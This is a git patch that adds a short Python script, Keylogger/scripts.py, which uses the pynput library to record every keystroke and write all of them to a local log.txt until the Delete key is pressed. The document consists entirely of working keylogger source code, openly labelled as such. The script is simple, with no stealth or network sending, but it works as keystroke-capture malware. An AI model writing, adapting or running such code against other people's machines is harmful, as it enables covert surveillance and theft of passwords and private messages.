From 8b2d42e210a3d3e6dc02150908067151acd1f8a5 Mon Sep 17 00:00:00 2001 From: nazmiasri95 Date: Sat, 15 Oct 2022 19:09:32 +0800 Subject: [PATCH] Added back deleted scripts --- Keylogger/scripts.py | 29 +++++++++++++++++++++++++++++ 1 file changed, 29 insertions(+) create mode 100644 Keylogger/scripts.py diff --git a/Keylogger/scripts.py b/Keylogger/scripts.py new file mode 100644 index 0000000..dca4f97 --- /dev/null +++ b/Keylogger/scripts.py @@ -0,0 +1,29 @@ +import pynput +from pynput.keyboard import Key, Listener + + +keys = [] + + +def on_press(key): + keys.append(key) + write_file(keys) + + +def write_file(keys): + with open('log.txt', 'w') as f: + for key in keys: + #removing '' + k = str(key).replace("'", "") + f.write(k) + #explicitly adding a space after every keystroke for readability + f.write(' ') + + +def on_release(key): + if key == Key.delete: + return False + + +with Listener(on_press = on_press, on_release = on_release) as listener: + listener.join() \ No newline at end of file